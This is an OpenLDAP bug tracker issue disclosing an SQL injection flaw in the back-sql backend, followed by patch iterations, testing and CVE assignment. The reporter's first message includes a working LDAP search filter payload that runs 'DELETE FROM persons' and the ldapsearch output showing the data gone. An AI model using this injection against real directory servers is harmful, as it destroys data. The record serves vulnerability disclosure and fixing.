Issue 9815 - Serious SQL injection vulnerability in back-sql

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: backends (show other issues)
Version: 2.6.1
Hardware: All Linux

Importance: --- normal
Target Milestone: 2.5.12
Assignee: OpenLDAP project

URL:
Keywords:

Duplicates (1): ~~6461~~ (view as issue list)
Depends on:
Blocks:

Reported: 2022-03-23 09:25 UTC by jajcus
Modified: 2022-05-04 16:18 UTC (History)
CC List: 5 users (show)

See Also: ~~6461~~

Attachments	
fixed substrings (8.52 KB, patch) 2022-03-24 13:00 UTC, Howard Chu	Details
Add an attachment (proposed patch, testcase, etc.)	Show Obsolete (3)

Note
You need to log in before you can comment on or make changes to this issue.

jajcus 2022-03-23 09:25:54 UTC **Description**

```
I know that this back-end is considered obsolete, but it is still included and
there doesn't seem to be any replacement.

I used it in my product, but then found a serious problem. It is enough to use a
quote character to trigger SQL injection.

Using the example database from slapd/back-sql/rdbms_depend/pgsql I can easily show
it.

By using search filter "(sn='||upper\\28''\\29\\29;DELETE FROM persons;COMMIT;--)"
I can remove data from the database, like this:

$ ldapsearch -H ldap://pve-jacek.pbx.axeos.cloud -D '' -b 'dc=example,dc=com' "
(sn=Zinberstein)"
# extended LDIF
#
# LDAPv3
# base <dc=example,dc=com> with scope subtree
# filter: (sn=Zinberstein)
# requesting: ALL
#
```

```
# Akakiy Zinberstein, example.com
dn: cn=Akakiy Zinberstein,dc=example,dc=com
objectClass: inetOrgPerson
objectClass: pkiUser
cn: Akakiy Zinberstein
sn: Zinberstein
givenName: Akakiy
userCertificate;binary:: MIIDazCCAtSgAwIBAgIBAjANBgkqhkiG9w0BAQQFADB3MQswCQYDV
 [...]

# search reference
ref: ldap://localhost:9012/dc=example,dc=com??sub

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 1
# numReferences: 1
jajcus@jajco:~$ ldapsearch -H ldap://pve-jacek.pbx.axeos.cloud -D '' -b
'dc=example,dc=com' "(sn='||upper\\28''\\29\\29;DELETE FROM persons;COMMIT;--)"
# extended LDIF
#
# LDAPv3
# base <dc=example,dc=com> with scope subtree
# filter: (sn='||upper\28''\29\29;DELETE FROM persons;COMMIT;--)
# requesting: ALL
#

# search reference
ref: ldap://localhost:9012/dc=example,dc=com??sub

# search result
search: 2
result: 0 Success

# numResponses: 2
# numReferences: 1
jajcus@jajco:~$ ldapsearch -H ldap://pve-jacek.pbx.axeos.cloud -D '' -b
'dc=example,dc=com' "(sn=Zinberstein)"
# extended LDIF
#
# LDAPv3
# base <dc=example,dc=com> with scope subtree
# filter: (sn=Zinberstein)
# requesting: ALL
#

# search reference
ref: ldap://localhost:9012/dc=example,dc=com??sub

# search result
search: 2
result: 0 Success

# numResponses: 2
# numReferences: 1
```

Howard Chu 2022-03-23 12:46:06 UTC **Comment 1**

Created ~~attachment 884~~ ~~[details]~~
Escape filter values

Thanks for the report. Please test the attached patch, thanks.

Howard Chu 2022-03-23 12:49:35 UTC Comment 2

Also, had a question - can you do an SQL injection in the request DN?

Howard Chu 2022-03-23 13:00:18 UTC Comment 3

Created ~~attachment 885 [details]~~
fixed patch

jajcus 2022-03-23 13:08:18 UTC Comment 4

(In reply to Howard Chu from comment #2)
> Also, had a question - can you do an SQL injection in the request DN?

And which one is 'request DN'? Bind DN, base DN or something else?

jajcus 2022-03-23 13:12:06 UTC Comment 5

(In reply to Howard Chu from comment #2)
> Also, had a question - can you do an SQL injection in the request DN?

No, DN lookups do not seem to have that problem – quotes in DN are properly escaped, as argument substitution is used to execute those queries, but I am not sure if I checked all possibilities.

Howard Chu 2022-03-23 13:19:17 UTC Comment 6

(In reply to jajcus from comment #5)
> (In reply to Howard Chu from comment #2)
> > Also, had a question - can you do an SQL injection in the request DN?
>
> No, DN lookups do not seem to have that problem – quotes in DN are properly
> escaped, as argument substitution is used to execute those queries, but I am
> not sure if I checked all possibilities.

Thanks for confirming.

Base DN, Bind DN - these are the same, they're the request DN.

jajcus 2022-03-23 14:45:38 UTC Comment 7

Unfortunately, the patch does not work, as I suspected.

> ERROR: syntax error at or near "\" at character 251

The patch escapes ' with backslash, but that is not a standard SQL string literal quoting and does not work, at least for PostgreSQL.

Escaping ' as '' (doubling every single quote) should work better, probably for every SQL database. Yes, SQL quoting is weird.

Howard Chu **2022-03-23 15:24:09 UTC** **Comment 8**

Created ~~attachment 886~~ ~~[details]~~
additional patch

Try again then, with this second patch applied on top of the previous one.

jajcus **2022-03-24 09:14:46 UTC** **Comment 9**

A bit better now, but still not complete.

Eact matches, like (sn=O'Hara), seem to be fixed now, but wildcard matches, like (sn=O'Hara*) still allow SQL code insertion.

Example of missing ' escape:
```
2022-03-24 09:11:38.549 GMT [3867] ERROR:  syntax error at or near "HARA" at
character 247
2022-03-24 09:11:38.549 GMT [3867] STATEMENT:  SELECT DISTINCT
ldap_entries.id,ldap_contacts.id,text('customAttribute') AS
objectClass,ldap_entries.dn AS dn FROM ldap_entries,ldap_contacts WHERE
ldap_contacts.id=ldap_entries.keyval AND ldap_entries.oc_map_id=$1 AND 9=9 AND
(upper(sn) LIKE 'O'HARA%')
```

Howard Chu **2022-03-24 13:00:39 UTC** **Comment 10**

Created attachment 888 [details]
fixed substrings

I see, it was only checking the telephoneNumber branch before. This new patch replaces both previous patches and fixes the rest of the substring filter code.

jajcus **2022-03-24 14:56:17 UTC** **Comment 11**

Seems to be working properly now. Thank you!

But I will let our tester exercise it some more tomorrow.

Ondřej Kuzník **2022-03-28 10:23:50 UTC** **Comment 12**

(In reply to Howard Chu from comment #10)
> I see, it was only checking the telephoneNumber branch before. This new
> patch replaces both previous patches and fixes the rest of the substring
> filter code.

I'm not sure I understand why we have to go through attempting to escape arguments ourselves when we might be able to use SQLPrepare that should do the right thing(tm) whatever the input data?

https://docs.microsoft.com/en-us/sql/odbc/reference/develop-app/prepared-execution-odbc

I guess this might be because back-sql design would need to be overhauled. In that case we should immediately proclaim this backend as insecure, someone might still find a way to bypass whatever we've just patched sooner or later. If doing so prompts someone to adopt it or we just end up removing it remains to be seen, I don't mind either.

Howard Chu **2022-03-28 15:51:07 UTC** **Comment 13**

*** ~~Issue 6461~~ has been marked as a duplicate of this issue. ***

Quanah Gibson-Mount **2022-04-11 16:39:35 UTC** **Comment 15**

(In reply to jajcus from comment #11)
> Seems to be working properly now. Thank you!
>
> But I will let our tester exercise it some more tomorrow.

Hello,

Does the patch look good? Thanks!

Quanah Gibson-Mount **2022-04-11 17:43:09 UTC** **Comment 16**

Additionally, I'm working on filing the CVE information, what would you like put in for the discover credits (person and/or organization). Thanks

jajcus **2022-04-12 06:51:34 UTC** **Comment 17**

> Does the patch look good?

No problems with the patch found.

> Additionally, I'm working on filing the CVE information, what would you like put

person: me: Jacek Konieczny <jajcus@jajcus.net>
and organization: my client: Axeos https://axeos.com/

Thank you!

Quanah Gibson-Mount **2022-05-04 14:52:39 UTC** **Comment 18**

master:

- 87df6c19

by Howard Chu at 2022-05-04T14:48:29+00:00
ITS#9815 slapd-sql: escape filter values

RE26:

- 46bbb9f3

by Howard Chu at 2022-05-04T14:49:21+00:00
ITS#9815 slapd-sql: escape filter values

RE25:

- 40f3ae4f

by Howard Chu at 2022-05-04T14:50:58+00:00
ITS#9815 slapd-sql: escape filter values

```
CVE-2022-29155
```